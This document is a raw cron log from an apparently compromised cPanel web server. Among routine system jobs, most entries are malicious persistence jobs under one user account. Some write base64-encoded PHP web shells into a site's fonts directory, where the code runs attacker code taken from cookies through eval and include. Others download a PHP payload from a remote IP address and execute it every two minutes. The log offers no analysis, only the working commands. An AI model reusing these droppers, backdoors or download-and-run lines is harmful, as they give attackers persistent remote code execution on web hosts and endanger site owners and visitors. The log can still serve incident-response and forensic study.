Feb 22 05:12:01 ip-184-168-122-23 CROND[18421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:12:01 ip-184-168-122-23 CROND[18422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:13:01 ip-184-168-122-23 CROND[18696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:13:01 ip-184-168-122-23 CROND[18698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:13:01 ip-184-168-122-23 CROND[18700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:13:01 ip-184-168-122-23 CROND[18701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:14:01 ip-184-168-122-23 CROND[18991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:14:01 ip-184-168-122-23 CROND[18989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:14:01 ip-184-168-122-23 CROND[18987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:14:01 ip-184-168-122-23 CROND[18990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:14:01 ip-184-168-122-23 CROND[18988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:15:01 ip-184-168-122-23 CROND[19296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:15:01 ip-184-168-122-23 CROND[19295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:15:01 ip-184-168-122-23 CROND[19297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:15:01 ip-184-168-122-23 CROND[19298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:15:01 ip-184-168-122-23 CROND[19300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:15:01 ip-184-168-122-23 CROND[19301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:16:01 ip-184-168-122-23 CROND[19572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:16:01 ip-184-168-122-23 CROND[19574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 05:16:01 ip-184-168-122-23 CROND[19577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:16:01 ip-184-168-122-23 CROND[19575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:16:01 ip-184-168-122-23 CROND[19576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:16:01 ip-184-168-122-23 CROND[19578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:17:01 ip-184-168-122-23 CROND[19892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:17:01 ip-184-168-122-23 CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:17:01 ip-184-168-122-23 CROND[19897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:17:01 ip-184-168-122-23 CROND[19894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:18:01 ip-184-168-122-23 CROND[20289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:18:01 ip-184-168-122-23 CROND[20291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:18:01 ip-184-168-122-23 CROND[20294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:18:01 ip-184-168-122-23 CROND[20292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:18:01 ip-184-168-122-23 CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:19:01 ip-184-168-122-23 CROND[20597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:19:01 ip-184-168-122-23 CROND[20598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:19:01 ip-184-168-122-23 CROND[20601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:19:01 ip-184-168-122-23 CROND[20603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20912]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:20:01 ip-184-168-122-23 CROND[20920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:20:01 ip-184-168-122-23 CROND[20917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:20:01 ip-184-168-122-23 CROND[20919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:21:01 ip-184-168-122-23 CROND[21278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:21:01 ip-184-168-122-23 CROND[21280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:21:01 ip-184-168-122-23 CROND[21279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:21:01 ip-184-168-122-23 CROND[21281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:22:01 ip-184-168-122-23 CROND[21601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:22:01 ip-184-168-122-23 CROND[21603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:22:01 ip-184-168-122-23 CROND[21606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:22:01 ip-184-168-122-23 CROND[21602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:22:01 ip-184-168-122-23 CROND[21605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:23:01 ip-184-168-122-23 CROND[21996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:23:01 ip-184-168-122-23 CROND[21997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:23:01 ip-184-168-122-23 CROND[21998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:23:01 ip-184-168-122-23 CROND[21999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:24:01 ip-184-168-122-23 CROND[22354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:24:01 ip-184-168-122-23 CROND[22355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:24:01 ip-184-168-122-23 CROND[22356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:24:01 ip-184-168-122-23 CROND[22359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
